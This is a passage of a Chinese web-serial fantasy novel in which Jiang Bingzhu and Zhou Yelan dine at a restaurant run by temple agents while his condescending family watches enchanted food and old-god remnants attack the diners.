可黎双白等被冤魂替换的学生说过,他们其实并不是被妃嬪的冤魂带走,而是被幽帝冤魂选中,骤然带到一处宫殿之中捆起来,并没有受到什么实质性的伤害。 在查阅资料后,他们反而发现,幽帝行宫中的许多嫔妃都是被强行带进来的。她们的父母亲担心自家孩子在暴君手下的日子,终日以泪洗面,最后鬱郁而终的不在少数。 那些妃嫔宫人们将他们困在鬼打墙里,是想叫他们远离幽帝的宫殿。而所谓的替换,也只是試图模拟出陪伴的效果,防止其它人因为同伴的离开,陷入和他们父母同样的悲剧之中。 一切的出发点都是好的,只是因为他们成了冤魂,行事手段和常人不太一样,因而看起来十分吓人。 可江亦宁那边,却说自己从行宫逃出来后,受了很重的伤…… 这可不像被冤魂替换了的表现! 学生们没有言明,但心底多少有了一些判断。 京城中枢局看见他们的反应,觉得有点奇怪,但更重要的,显然是知道行宫中究竟发生了什么。 学生们简要讲了事情经过,正想请后面的周夜闌替他们补全最后的一段内容,一回头,才发现江秉烛和周夜阑都不在原地了。 只有金祈安无奈地解释:“小江说,他和周顾问去吃顿夜宵,就先离开了。” —— 江秉烛和周夜阑并没有去太远的地方。 行宫附近,一处人迹罕至的胡同里,两人的身型緩緩浮现在夜色之中。 江秉烛手里仍然拎着那条新的金鱼,这时却不再摆弄了,他只是稍微仰起头,看着面前的金发男人:“你记得的,究竟是什么?” 周夜阑失笑:“你竟然是会在意记忆的人吗?” “因为是你的记忆,”江秉烛说。 周夜阑无奈:“你总是这么直白……烛。” 这个称呼脱口而出的瞬间,他忽然想起自己曾经无数次这样称呼过面前的人,在詭异世界最高的山脊上,在世界之外的深渊里。 那只是一些很细碎的片段,但他们曾经筹划过世上最疯狂、最离经叛道、最不知天高地厚的事情。 而一切的开端,是先知预言之中,那个将弑神的篡夺者站在他的面前。 那人有双红色的瞳孔,像是血又像是火焰,在黑暗里有种特别的明亮。 和现在一模一样。 周夜阑静了片刻,说:“我记得很多我们一起杀过的家伙,那是些很有意思的故事。你如果有兴趣,我也可以讲给你。” 和江秉烛不同,他一直对自己的记忆很警惕,就像人类总喜欢从过往的事情中总结经验一样。 周夜阑知道自己缺失了一段记忆,所以一直穿梭在各个位面之间,寻找那些还活着的知情者,从他们嘴里拼凑出当年的事情。 有时他也会想,若是那段记忆还在,说不定他能更早地认出江秉烛,想起他漂亮的小蛇一样的眼睛,懒散的笑、以及那些偶尔流露的、柔软得几乎不可察觉的情绪,而不只是某些记忆中,那个遥远得不可触及的模糊影子。 但当江秉烛站在他面前,慢悠悠地“好”了一声时,他忽然觉得,有没有过往的记忆,或许也没那么重要。 “这是些很长的故事,”周夜阑说,“你不是要带我去吃夜宵吗,到了那里,我慢慢讲给你听。” 他说着,见少年手机上一晃一晃的金鱼吊坠,继而想起了什么,俯下身,把冤魂们送给江秉烛的金簪也和小鱼系在了一起。 吊坠被晚风吹动,轻轻地碰撞着,发出清脆的声响。 江秉烛垂眼看着那枚金簪:“所以,你为什么要帮他们?” 他不懂人类,这是再正常不过的事了,可周夜阑,他这种人心恶意之中诞生出的诡异,怎么想也不像是会为了人类的情感而动摇的存在。 他们之间素来有种心照不宣的默契,在这种地方,却忽然出现了分歧。 江秉烛甚至有点不适应。 “人类总说,活着是生命的本能,但是愿意为了更崇高的东西赴死,是一种更珍贵的勇气,”周夜阑说。 他像是想到了什么,顿了顿,才继续道:“即便是我……偶尔也会有欣赏这些的时候。” 好吧。 江秉烛想,他觉得周夜阑还是和自己了解中的有些不同。 他们并肩走出幽暗的小巷,在京城的街道中一直向东走,没过多久,便看见一家小院。 院子有些年头了,但是门口挂着的牌匾很新,上面写着“試营业”三个大字。 这家“試营业”酒樓就是进城这一个月以来异军突起的新饭店,从主厨到经理,没有一个是京城人熟悉的名字。只是听说,那位红发的骑士费尔南多是他们背后的靠山。 这个背景放在卧虎藏龙的京城,算不上过硬。但试营业酒樓做得每一道菜都味道很好,汇聚了大江南北的美食,不到一个月,便在京城火得一塌糊涂,没有任何人能与之争锋。 慕名而来的人越来越多,网上的预约早就拍到了半年之后,一顿晚宴的位置千金难求。现如今,京城的权贵们都把能在试营业吃到一顿饭,当作相当高的荣誉。 江秉烛和周夜阑溜达过来时,试营业酒樓门口,刚好有两辆豪車缓缓停下。 司机拉开車门,请出了车中的贵客。 为首那位踩着恨天高,珠光宝气的阔太太,正是嚴清嘉。在她身旁的,就是她的丈夫江盛,他们的长子江知衍紧随其后。 江家三人面带微笑,同不远处另一辆车上走下来的许家夫妇打了招呼。 试营业酒楼中,恰逢其时地有服务生确认了预定,出来迎接他们。 “清嘉,还是你有手段,”许家夫妇满面春风地走了上来,“我听说,陆家人之前都没订到这里的位置,你们江家,果然是要飞黄腾达了。” “过奖了,”严清嘉掩着嘴,优雅地笑了笑,“这家酒楼能接待您这样的客人,才是蓬荜生辉。” 许家夫妇高傲地点了点头,余光忽然看见酒楼前一金一黑的两个身影。 “这里确实不是什么人都能来的地方,”许家夫妇不悦地微微皱眉,“那两个人是谁?竟然连预定的规矩都不懂,败坏我们的雅兴。” 严清嘉附和了一声,刚要差遣服务生去把那两个人打发走,忽然借着灯光看清了江秉烛的脸。 而他身边那位,赫然便是周顾问! 顺着他的目光,江盛和江知衍也发现了两人的存在。 对于江秉烛竟然和周顾问这样的神秘高手交好,江家人在意外的同时,又感到一丝欣慰。 只不过……他们看着站在门口的两人,多少对江秉烛待客的方式产生了不满——连功课都不事先做好,带着周顾问白跑一趟,真是一点人情世故都不懂! 还好,今天他们在场。 江盛对长子使了个眼色,江知衍便走上前去,同江秉烛与周夜阑打了个招呼。然后,他转向这位尚未被家族承认的弟弟。 “秉烛,”他彬彬有礼地笑着,语调中却带上了几分高高在上的批判意味,“这家酒楼的预约制度极为严格,不会允许客人直接进去用餐,你带周顾问来这里,实在欠些考量。” “好在我和父母亲提前定了位置,你这次可以请周顾问同我们一起。但这样的事情,不可以再发生第二回。” 他摆起大哥的做派,声音都变得严肃了起来。 等着听周夜阑讲故事的江秉烛:“?” 你又是哪儿冒出来的? 【作者有话说】 江家下线和小烛掉马进行时.jpg 第63章 江知衍一番话说完, 还没等江秉烛回答,便转向了服務生,傲慢道:“这二位等下会和我们一起用餐, 多出来的花销, 全部记我账上就好。” 显然,他完全没有想过,会从江秉烛那边得到任何否定的答复。 在他看来, 江秉烛的作派还是和乡下人一模一样, 对京城中的规矩没有任何了解。如果不是恰好碰到自己, 他根本没有进入试營業酒樓吃饭的机会。 只是这个弟弟确实不太懂事,自己帮他解决了燃眉之急,也没有任何感恩的表现。即使他现在和周顧问关係很好,但不加以维係,这样悬殊的友谊也没有办法长远。 江秉烛不用看,都能感受到这家伙身上散发出来的奇怪的自信气息——有点儿像行宫里的幽帝冤魂,尽管,江知衍并没有龙椅可以坐。 如此普通, 但又如此自信。 好奇怪,难道人类有什么较为隐秘的遗传机制是他不知道的嗎? 江秉烛陷入思索时,试營業酒樓的服務生先回绝了江知衍。 “抱歉, ”他一板一眼地说, “您预订的是六人桌。” 江知衍:“那就升级成包间,这点事,也要我教你去做嗎?” 服務生:“抱歉, 我们的包间已经预订满了。” “这不是问题, ”江知衍说, “问问那些预订到包间的客人有没有转讓的意願, 江家出得起更高的价钱。” 服務生:“抱歉,这不合规矩。” 江知衍有点头疼了:“你老板呢?讓他出来跟我谈。” “抱歉……” 江知衍抓狂地打断他:“你除了抱歉,还会说点别的吗?” “抱歉,不会了,先生。”服务生说。 江知衍:“……” 这家店的人绝对脑子有毛病,算了,姑且先不计较。 他和服务生的对话,到底有点跌份。好在江秉烛一如既往地在神游,不像是注意到了这边的对话。 江知衍尴尬地朝周夜阑笑了笑,正要说点什么,忽然看见江秉烛拉着人走上前,似乎要和服务生攀谈。 他不冷不热地出言提醒道:“不要白费力气了,这里的人一点都不会变通,我看——” 话音未落,那个说话特别人机,一直只会“抱歉”的服务生突然往前走了两步。 他紧紧盯着江秉烛,生怕一眨眼就看错了什么似的,非常谨慎地开口:“請问,您是江秉烛吗?” 江秉烛“嗯”了一声,简短道:“两个人的位置,还有吗?” “有的有的,”服务生连连点头,“这就有人带您过去。” 这话刚说完没几秒,立刻有一名衣冠楚楚,品级看着显然比服务生高的西装男子出现在门口,热情地把江秉烛和周夜阑迎了进去。 目睹了一切的江知衍:“……?” 他不悦地拦住不停往三人离开方向望过去的服务生:“不是说里面没有位置吗,他们没有预订,怎么还能进去?” 服务生——从至高神殿被选拔来执行秘密任务的異能者安迪,这才回过神来。 能够通过阿德萊亞大人的选拔,来到这个人类位面,安迪一直感到十分荣幸。 他不仅在这段时间里,清除了一些蛰伏在这里的旧神余孽,也遵照至高神大人的安排,学习了很好的廚艺。尽管一开始不明所以,但安迪很快发现,对食材与火候的精准掌握,令他在異能的控制上有了更深的心得。这样练习下来不到一个月,他便觉得自己已经摸到了新一个等阶的门槛! 至高神大人果然深思熟虑,对他们的每一个安排都有着值得深究的用意! 唯一的问题是,他的異能与死亡相关,这导致他烧出来的菜大多不太适合普通的人类与異能者食用。 无奈之下,在人类客户较多的时候,安迪只能站在门口做服务生。 但他谨记着神殿骑士长的教诲——不论什么情况,在人类位面遇到一名叫“江秉烛”的学生时,一定要给予他最优渥的待遇,就像阿德萊亞大人亲至一般。 虽然不知道为什么,骑士长在说“如阿德莱亚大人亲至”这几个字时,听起来有一种莫名其妙的心虚,但安迪是一名优秀的神殿法师,一眼就认出了传说中的江秉烛。 神殿的安排,他当然不好对江知衍讲,一板一眼地对江知衍说:“江先生和他的同伴去的是本酒樓的vip包厢,不对外开放预约。” 江秉烛,vip包厢……? 江知衍简直不能把这两个词联係到一起。 他那个乡下认回来的,不学无术的弟弟,什么时候能当vip了!而且还是在试營業酒樓这种难以预约的地方! 江知衍骄傲地过去,又带着一肚子问号,回到了江家夫妇面前。 他们两人早先便看到江秉烛与周夜阑的动向,心里已经有了些揣测:“怎么,周顧问有事,不方便和我们一起用餐?” 他们现在还以为酒楼是因为周夜阑的原因,才连带着对江秉烛有优待。 但江知衍看得清楚,那个服务生全程都没看周夜阑一眼,完完全全是冲着江秉烛一个人! 江知衍忽然觉得,他这个不成器的弟弟,有很多不为自己所知的地方。 比如,他和周夜阑究竟是怎么认识的,怎么在试营業酒楼有VIP包厢的名额,怎么还能和克莱登学院的那群人,有着不错的关系……? 江秉烛从小在渔村长大,履历明明平平无奇,要不然,江知衍也不会向来对他不假辞色。 早知道,或许在刚把江秉烛接回江家时,他们就該拿出更亲近的态度。 江知衍心中千回百转,还在想怎么和江秉烛修复关系时,兜里的手机忽然接连震动了几下。 他拿出手机,草草扫了一眼,脸色忽然巨变——江亦宁出事了! 半个多小时前,江亦宁先是因为在幽帝行宫附近遇到詭异进了医院,又因为不明原因,被中枢局的人转到了特殊病房——那地方虽然被称作病房,但一般都是些被怀疑与詭异事件有重大关联的人才会去的地方。 病人醒后,是要接受中枢局的盘问的。 这本来就很不寻常,更何况,这样的转院流程总是要通知家属的。可中间发生了这样多的事情,江家却没收到一点消息! 幽帝行宫里发生了什么,江亦宁又做了什么?! 同样的消息,江氏夫妇显然也受到了。 严清嘉担忧得连請来的许氏夫妇都暂时放在了一旁:“小宁是个很优秀的孩子,这中间一定有什么误会。我要去见中枢局的人一面。” 江盛却拦住了她:“现在情况不明,你即便去了,也未必能得到有用的信息。我先让人探探消息,到时有任何需要的材料,立刻叫人递交上去。” 被这桩事一闹,江知衍也没空想更多关于江秉烛的事情。 但是在试营业酒楼的位置已经约好,他们和许家人来这里,也有一桩生意要商谈,都到了这里,实在不方便离开。 江家人一顿饭吃得火烧火燎,如坐针毡,试营业酒楼的vip包厢里,江秉烛倒是点好了几道糖水,和周夜阑面对面而坐。 不得不说,这里的食物做得确实好吃,已经得到了很多人类大廚的真传。 江秉烛在酒楼买了个青花瓷鱼缸,新找回来的那尾鱼在其中不安地游来游去,听着周夜阑讲的故事,好几次差点儿从鱼缸里蹦出来。 鱼的动静太大,江秉烛若有所思道:“可能是太孤独了。” 他把其它几条鱼放在一起的时候,就没有这么剧烈的反应。 江秉烛说话时,鱼刚好又跳到了空中,不知道是不是听到了他的话,没调整好落水的姿勢,险些翻起白肚皮。 “有道理,”周夜阑斯文有礼地说,“好在,它们很快就会重聚了。” 江秉烛也深有同感。 阿德莱亚从神殿派来了相当一部分人手,会定期向他汇报旧神余孽的动向。 在和旧日从神们会面之后,汇报中的内容也增加了许多。他们试图以潜藏在这里的先知为媒介,继而对祂侍奉的神明造成影响。 然而想要制造出威胁到一位至高神明的攻击,需要的布置是巨大的。大多数旧日从神仍然不願意冒太大风险,与昔日的敌人合作,离开自己的藏身地。 但是,不论有再多考量,他们也很难拒绝自己所信仰的神明的召唤。 江秉烛算了算自己金鱼离开的时间,到了现在,随着又一位“同伴”被抓走,它们应該会下定新的决心了。 “你放心,”周夜阑屈起手指,敲了敲那个鱼缸,“祂们会如你所愿的。” 江秉烛看了这家伙一眼,不用想,都知道他一定在抓鱼的时候干了些什么阴险的事。 “到时候,你就有新的故事和我讲了,”他悠然总结道。 总体而言,江秉烛对这个晚上极为满意。除了周夜阑的故事,他还在试营业酒楼里,听到了不少有趣的东西。 因为离得很近,对于这里信徒们的祈祷似的碎碎念,也非常清楚地传到了他的耳中。 包括但不限于: “至高神大人在上,我在切淡水鱼生的时候,注意到其中有隐匿的寄生虫卵。我试图注入异能将它们彻底清除,但这样会对鱼的肉质产生影响,应该怎样做,才能控制异能的流动,只差死寄生虫卵,而不让溢出的能量破坏鱼肉质感呢?” “伟大的至高神大人啊,我新学到了一道名为‘仰望星空’的菜品,这对身为精神系异能者的我有着很大启发。除了对听觉与视觉施加影响外,我还在尝试令敌人感受到味觉冲击的异能,只是遇到了如下问题……” …… 江秉烛吃他的小龙虾吃得很开心,看得也很开心。虽然他对做饭一窍不通,但对于怎么使用异能,还是有一点心得的,难得有耐心地一条条回应了过去。 试营业酒楼的后厨里,厨子们的动作先后顿了一下,在脑海中突然出现几行文字的同时,感觉到颈间的吊坠微微发烫。 因为任务与清除旧神余孽有关,可能会遇到意外中的风险,神殿还很人性化地为他们配备了保命的道具。 ——是一个深红色的便携水晶吊坠,平常挂在脖子上就好,一旦遇到危险,或是有所请愿,都可以向吊坠做出祈祷,便能得到神明力量的回应。 这次来自神明的回应,也太细致了吧! 神殿里的异能者们虽然有些诧异,但更多的显然是惊喜,迫不及待地想要对脑海中的文字进行学习与尝试。 江知衍坐在酒楼大厅里,被各种事情弄得心烦意乱。恰巧许家夫妇不在席间,他看见侍者们动作比平常稍慢,不由得冷哼一声。 “到底是新开业的地方,底蕴不足,空有味道而没有服务。” 正说着,他忽然话音一顿,目光转向了酒楼展示食物的地方。 ——在那里,突然出现了詭异生物的气息! 看诡气水平,应该是接近七级的诡异。好巧不巧,江秉烛正在附近。 江家人此前,已经看到周夜阑漫步过来,点了好几分不同口味的小龙虾走。这次换了江秉烛自己,他也点了一份麻辣小龙虾,并且很期待似的,亲自站在窗口等着。 对于诡异的出现,江秉烛毫无察觉。 身为异能者,严清嘉下意识要出手肃清诡异,却忽然被长子拦住。 “母亲,我们现在应当等等,”江知衍低声说,迅速分析起局勢。 “小宁那边情况不明,我们要找的助力越多越好,周顾问说话的分量您想必清楚。只是他行事神秘,很少有人能投其所好。但江秉烛和他关系很好,如果我们能借此机会,与他修复亲情,他或许会帮小宁一把,请周顾问出面。” 严清嘉想了想,觉得有几分道理。 再怎么说,江秉烛和江亦宁也是兄弟。为了江家的事情,理当做出一些贡献。 七级的诡异生物,即便放在京城也不算弱,这里的服务生想必没有能力应付。他们只需赶在周顾问出手前,先表示出愿意为江秉烛赴险的样子,再顺势说出几人间的血缘关系,一切水到渠成。 再者说,试营业酒楼的服务生对他们的态度并不友好,晚些出手,让他们在必要的时候得不到及时的援助,也算叫这些人自食恶果。 江家三人默契非凡,片刻间便交换好了意见。 他们刚准备实施,便见餐车之中,诡气盘踞在一只小龙虾上,被煮得通红的大螯顷刻间掀翻了餐盘的盖子,裹挟着饱满的辣汁,飞向江秉烛的面门! 江家人看得清楚,这一下如果击中,那个服务生轻则重伤,重则丧命。 但这正是出手的最好时机! 江秉烛的表现,显然是个异能低微的普通人,完全像是没看见那只龙虾一样,刚带上剥小龙虾专用的手套。 变异的小龙虾身躯在空中飞快变大,攻击转瞬即至! 江家人已经准备好,接下来该如何顺势登场,展现他们之间的亲情了。 可下一秒,江秉烛却头也不抬地伸出一只手,精准地将那只变异小龙虾按了回去。 他一只手按着巨型小龙虾的头,一手抓住尾巴,轻轻一拧,将饱满的虾肉连带虾黄一起揪了出来。 动作干净利落,毫不拖泥带水,简直是教科书级的给小龙虾去头。 只除了,他扒的那只小龙虾不太正常。 江秉烛看着手里还在不断弹动的虾尾,叹了口气。 “看来我的技术,还是不够熟练。” 【作者有话说】 推一篇朋友正在连载的无限流爽文,感兴趣的宝贝们可以去看看呀[三花猫头] 《无意装x礼貌致歉[无限] 》by白桃脆片 玄之鱼穿越了,他来到一个诡怪遍地、人人都拥有异能的高危世界。 玄之鱼很快掌握了几个关键信息: 一、他是一个瞎子,却在穿越后拥有了一种视物能力。 二、他可以复活回档,每次回档会让时间倒退五分钟。 三、回档后他会丧失死亡前的记忆,只能给回档后的自己留下一条关键信息。 玄之鱼想要回家,就必须依靠这几个信息活下去。 他得想点办法- 最近,弥亚地区横空出现了一名神秘的【智者】。 听说他算无遗策,“出道”即成名,难度再高的副本也能完美通关。 更有传闻,【智者】拥有邪神庇护,在所有怪物的眼中,他是不可名状的更可怖的存在—— 和他对话的怪物会腐化为黑液。 与他对视的怪物会溃烂成肉泥血水 他睡过的床下是被分解的蜷缩触手。 …… 他的名气在一瞬间冠绝世界- 当“谣言”传到玄之鱼这里的时候:谁,我吗? 已经这么夸张了。 他只是……为了活下去,不得不利用自己的死亡回档小装一下而已。 玄之鱼心虚地眨了眨眼,对“谣言”深信不疑的大家暗暗说道—— 无意装x,礼貌致歉。 第64章 尽管小龍蝦的尾巴不断扭动着, 但江秉燭淡定地把它按进了盘子,浸在汤汁里,又蘸了点蘸料。 味道还是不错的, 而且口感挺弹牙。 江秉燭在心底默默评价了一句, 将手伸向另一只因为异变而个头儿大得明顯的小龍蝦。 它已经被煮得红彤彤了,身上一半是蒜泥,一半是红油, 此时一扫之前对面前人类的超強攻擊性, 瑟瑟发抖着想要逃跑, 却又被一双手揪了回来。 对于新鲜活泼,味道还好的食材,江秉燭很難说出拒绝。 他想了想,在之前写给某一名神殿信徒的回应中,又加上了一句。 试营业酒楼里,詭气出现得突然,消失得迅速。 除了坐得近的江家三人外,好像还没人来得及注意到这边的问题。 江家人:“??!” 虽然他们听不到江秉燭在说什么, 但不论如何,这都不太正常吧! 扪心自问,即便是他们这样成熟的异能者, 也并不认为自己可以这么輕松的解决掉两只七级的詭异生物。 偏偏江秉烛做这一切时, 一切神态都和平常没什么两样,就好像对他来说,这是理所当然的一般。 七级的詭异生物, 原来这么好杀的吗? 江家人在心底发出灵魂呐喊。 如果放在平常, 对于这种上不了台面的行为, 他们一定会狠狠批判一番。但此时此刻, 看着眼前这一幕,江家人心中浮现出一个難以置信的猜想。 江秉烛难道真的像他们得到的预言中所说的那样,其实是一个异能高手,不世出的天才?只是因为某些原因,当时才没有顯现出来。 说起来,他最初的异能测试结果明明显示,他是一个彻头彻尾的普通人。但是等江知衍和嚴清嘉在第二城再次见到他时,他确实拥有了异能——尽管那非常弱小。 但这或許也从侧面说明,江秉烛有着非同一般的潜力。也正是因此,周夜阑,包括克莱登学院的那群学生才会对他另眼相看。 一切都串起来了! 但江盛的脸色却并未轉晴,不停轉动着手腕上的象牙手串*,吩咐道:“阿衍,等这边的詭异解决后,重新安排一个异能测试,要规格最高的!” 江知衍嚴肃地点了点头。 迄今为止,人类所有的异能测试方法,都需要依靠一个能夠提供异能或诡气的能量核——一个用于引出被试者异能本源、激发出他潜能极限的能量体。用于檢测的能量越強大,对异能的檢验便更精准,能讓被试者得到更多信息。 京城中的异能者研究了各式各样的精密仪器检测异能,但却始终无法超越一种古老而直接的方法。 那便是依赖于盘踞在京城之中,与三大世家进行了契约的那位皇权化身的能量,对异能者进行评估。 但皇权化身的威能无人可以輕易揣测,即使是三大世家的直系,想要依靠这种方法讓异能得到鉴定,也需要等待不小的一段时间。 在江秉烛第一次进行异能检测时,江家人根本对他不屑一顾,不愿在他身上多花任何心思。 而现在,看着他干净利落地處理小龍蝦型诡异的手法,他们短暂地为自己的做法后悔了一瞬间。 如果江秉烛真的像他们以为的那么有潜力,那之前的几个月,岂不是都被浪费了?若非如此,这次江亦宁出事时,江秉烛这个做哥哥的,说不定还能有一点助力。 江家人心头千回百转的时候,令他们不得不在意的是,餐厅里出现了更多的诡异! 那些原本已经放上桌子,烧好的菜品大多出现了异变。摆盘里精致的鸡鸭鱼虾全部动了起来,死去的食物就像是重新获得了生命一般,一块一块地在餐桌上自由活动。 他们清晰地看见,一盘白切鸡中的肉块颤巍巍地站了起来,勉强拼凑出半只鸡的形状,在餐桌上蹒跚。而另外的半只鸡和他们相隔大半个餐厅,摇摇晃晃地想要往过走,却直接从桌子上跌了下来。 被摔散的鸡肉块在地上蠕动着,努力重新把自己拼回完整的形状。 这种生物没有眼睛,果然是很难看路的。 江秉烛一边端走他满满一盘的小龙虾,一边平静地路过那只努力的白斩鸡,喊来服务生让他们记得收拾地板。 虽然他对这些东西不怎么在意,但是对于一家正在营业的餐厅来说,注意细节是很重要的。 江家人:“……?!” 这、都是什么东西! 试营业酒楼生意火爆,能在这里抢到位置的食客在京城大多颇有地位。作为异能者,在发现异样的第一时间,就已经出手,对那些诡异生物……诡异食物进行攻擊。 但面对那些东西,他们的大多攻击都像石沉大海,连阻拦的作用都起不到。 ——它们在对于异能的防御上,有着专门的异化。 经验丰富的异能者瞬间便判断了出来,江家人把一切收入眼底,又想起江秉烛应对那两只小龙虾时的娴熟。 难道是他的异能比那些宾客都要强大,才能那么轻松地干掉两只小龙虾?江家人想了想,便觉得不太可能。 或許,江秉烛只是运气好而已。运气好地找到了小龙虾的薄弱环节,才能那么简单地将它杀掉。 他们正想着,江盛手边,忽然出现了一种不同寻常的触感。 他猛然低头,只见自己手上戴的那串象牙手串不知何时崩断了,一个个雕刻得生动的莹白神像上,丝丝血色渗出来。 那些血色之外,隐隐约约有一个巨大的虚影,几乎将整个酒楼占满。 在它面前,江盛实在过于渺小,他甚至看不到那东西的眼神,只能听见一声高亢的象鸣。那个陆地上最庞大的生物高高地抬起脚,向下压了下来。 那头大象的动作掀起一阵庞杂的气流,江盛想逃,一时间竟然没能挣脱,被严清嘉拉了一把,才堪堪躲了过去。 但危机并没有就此解除。 在这里吃饭的京城人,基本没谁的首饰背包上,不带着一点能夠彰显自身地位的违法动物制品。 这些东西“活”过来,造成的威胁远比到處亂爬的白切鸡大得多。 不知为什么,江知衍在这个时候,下意识抬起头,用目光去寻找江秉烛。 就好像……他能帮上很大的忙一样。 然而,餐厅的另一边,江秉烛还在与那名他们先前见到的人机服务生交流着一些有的没的,两个人像是根本没有注意到这边的问题。 大概因为他们看着都挺穷酸,身上并没有任何奢华的制品,在这个混亂的时候,周围反而空空荡荡的。 安迪正在认真思考江秉烛关于注意细节的建议,他觉得这很重要。对于一家餐厅来说,卫生问题当然是重中之重。 哪怕开餐厅并不是他们的本职工作,但异能者越是向上晋升,前路就越是艰险,充满着意想不到的污染。 他们必须格外谨慎,才能走得更加长远。 安迪想着,当即便要安排人拖地。 至于餐厅里的其它诡异生物,他并未过多在意。 毕竟,那些只是普通的七级诡异生物,是这次出现的旧神余孽制造出的幻影。等他的同事们解决了真正的诡异根源,这些都会随之不见。 而他留在这里,只要保证没有人类因此而死,并且在事情过后,忘掉这段记忆就好了。 被阿德莱亚大人选来执行任务的大部分人,都早已成为了神选者,并在不断深化自己对于异能的理解,向着更高的等级冲击。 哪怕这个位面对他们的异能有所压制,他们仍然可以保持神选者之上的水准。 当然,这并不意味着他们能够掉以轻心。 旧神余孽中依然有着一些强大的存在,仅凭他们的力量,如果与祂们对上,或许有些危险。 但身为至高神的信徒,他们信仰着无数个位面里最强的存在,自然有着应对危机的后手。 这一次,安迪虽然没有加入他的同伴,处理敌人,但也对当前的情况有了一定了解。 敌人的攻击性并不高,却比他们预想的更加棘手。 祂可以熟练地运用生、老、病、死四个状态——给对手施加负面状态,拖住他们的脚步,同时复苏自己的生机。 那些活的莫名其妙的动物,就是受到祂异能的影响。 神殿的人虽然将祂困住,却很难真正把祂杀死,双方已经僵持了一分多钟。 “慢了,”江秉烛忽然说。 安迪起初还以为他在说满地乱爬的食材的问题,愣了片刻,才意识到江秉烛指的,是与旧神余孽对峙的时长。 江秉烛是神殿众位大人指明不能怠慢的,安迪没有怀疑他的判断。 他们来到人类世界一个月,确实遇到了一些旧神余孽。可但凡主动找上门的,都是攻击性极高、上赶着要找神殿复仇的那些。 一个苟惯了的神选者,不该突然出现在他们的地盘。 祂是来拖住他们的! 可这样一来,旧神余孽们一定有着别的目的,隐藏在这一场行动之下。 祂们真正的目标,应该是什么? 抑或是……谁? 安迪几乎是下意识地,看向了江秉烛。 【作者有话说】 *制作或买卖象牙等野生动物制品违法,不要带 不好意思又来晚了[爆哭]最近事情太多,我争取周末多写点! 第65章 几乎就在安迪思索的同时, 另一道气息毫无征兆地降临了。 試營业酒楼中,一颗颗盆栽青绿色的叶片在瞬间凋零腐烂、化作黑色的粉末,被一阵灰色的雾气吞没。 那股灰雾中带着前所未有的阴冷与腐朽的气息, 仿若来自冥府的召唤。 神殿众人之前所对抗的舊神余孽叫做“百相”, 曾经效力于死亡之神。 而如今降临的这个“鏽蚀”,则是腐烂之神舊日的仆从! 安迪瞬间变了脸色。 这还是神战結束之后,他们第一次, 遇到两名信奉不同舊神的存在联手的情況! 和以苟为主、难以杀死的“百相”不同, “鏽蚀”的攻擊性要强得多。 祂所驱使的灰色雾气, 仅仅只是沾染,都会让普通人类与诡异生物的皮肤溃烂不堪,进而深入肌理与骨髓,令生物彻底腐烂。 情況紧急,他和蹲守在酒楼中的几人运用自己的能力勉强将灰雾与普通人隔絕开来,但鏽蚀的目标…… 短短几瞬之间,安迪脑子里闪过无數种可能,也与锈蚀进行了几个交锋。他以为对方的目的会很明确, 但锈蚀自己也像是在寻找什么东西一样,灰雾在試營业酒楼中盘旋了几个来回。 祂和百相冒着巨大的风险出现在这里,竟然并不清楚自己真正的目标是谁吗? 从灰雾出现的一刻起, 普通的异能者就不太能看清另一个方向的画面了。 江家三人还在狼狈地躲闪着大象与各类野生动物的攻擊, 跑得头发乱了,鞋也掉了,完全没有他们之前总说的京城贵族的体面。 对于他们来说, 这短短的一分钟简直是人生里最不愿意回忆的一分钟了。 灰雾的存在堵住了试营业酒楼的出口, 他们现在没办法離开这个地方。在心里大骂了这个酒楼八百遍后, 江家三人不得不向江秉燭的方向靠拢。 ——在这种混乱的情况下, 哪怕多一分助力也是好的。 盡管江秉燭不论在什么情况下,都像是个没事人一样,在看到他时,江家三人还是松了一口气。 那种感觉挺微妙的,比起经过思考后得出的結论,更像一种直觉中本能的反应,让他们在靠近这个人时,都会隐隐感到安心。 但这种安心只持续了不到一秒。 下一刻,他们眼睜睜看见那股古怪的灰雾骤然转向,锐利得像箭矢一样,径直朝江秉燭刺了过去! 那道灰雾发出一阵破空之声,江家三人想都没想便往后退去。 他们来找江秉燭,是因为觉得几个人待在一起更为安全,但眼下,江秉烛的身邊絕对算不上什么稳妥的地方。虽然不知道灰雾的行动逻辑,可这已经和他们最初的目的完全相悖了。 他们甚至还有点庆幸,没有因为靠江秉烛太近,而失去離开的机会。 反倒是酒楼的服务生从他们看不见的角落一跃而出,紧紧追逐着那道灰雾。 这是要干什么,送死吗?! 江家三人疑惑片刻,却并没有在这些不起眼的人身上花费更多精力。 他们走得毫不猶豫,安迪站出来时,也没有猶豫过片刻。 江秉烛是神殿众位大人都吩咐过要认真对待的人,但即便没有那些叮嘱,在一名同伴遇到危险时,他如果袖手旁观,又怎么配在神殿任职呢? 在晋升到现在的位格之前,安迪是个彻头彻尾的普通人类。在他长大的村庄里,有着一句流传很广的话——不要在高位存在身上,寄托不切实际的希望。 旧神们的神殿是危险的地方,哪怕最虔诚不过的信徒,也可能因祂们的一念而消亡,到死都不知道原因。 可至高神的神殿与旧神的传说截然不同。在安迪一直以来的记忆中,他所见到的众位大人、他身邊的大多數同僚,都绝不会在普通人受到伤害时,選择后退一步。 这也是他必须在此刻站出来的原因! 安迪飞身跃过那些攔在面前的一排长桌,那套服务生的西装马甲被攔路的诡异生物撕开了几道口子,他却不以为意,全神贯注地吟唱着操纵死亡的咒语。 伴随着那些晦涩的密语字眼,之前那些腐朽的落叶、死去生灵的虚影在空中凝聚。那些被死亡的力量召唤来的残骸最终挡在江秉烛身前,形状恰如试营业酒楼的盘子,又像一面坚固的盾牌。 那道“盾牌”上,还闪耀着光、燃烧着烈火,威严的气息环顾在盾牌周边,为它加上了一层钢铁般的外墙。 ——神殿派来的其它人也出手了! 哪怕“锈蚀”的出现在他们意料之外,但在众人的加持之下,祂的攻擊还是被及时拦住了一秒。 对于异能者来说,哪怕只有一秒,也可以做出很多重要的改变了! 安迪抬手握住自己颈间的红色吊坠,将异能注入其中。 “锈蚀”和百相联手,面对两名成名已久的旧神从属,他们不一定能够占到上风。 但和这些需要东躲西藏的旧神余孽不一样,他们信奉着的,是这世间最强大的至高存在。哪怕自身位格不足,他们也有足够的底气,在这个地方,与祂们两个一战! 这样想着,安迪还是有些紧张。他也有着对至高神大人进行碎碎念式祈祷的爱好,并在前不久,收到了非常详盡的回复。他刚才编织出的那个盘子一般的盾牌,便是对那些知识的临场应用。 不知是不是因为这些缘故,冥冥中,安迪竟然产生了一丝极其不合理的错觉。 如果今天真的能够从谁那里得到回应的话,那位或许就是…… “轰——” 巨大的爆炸声打断他的思绪。 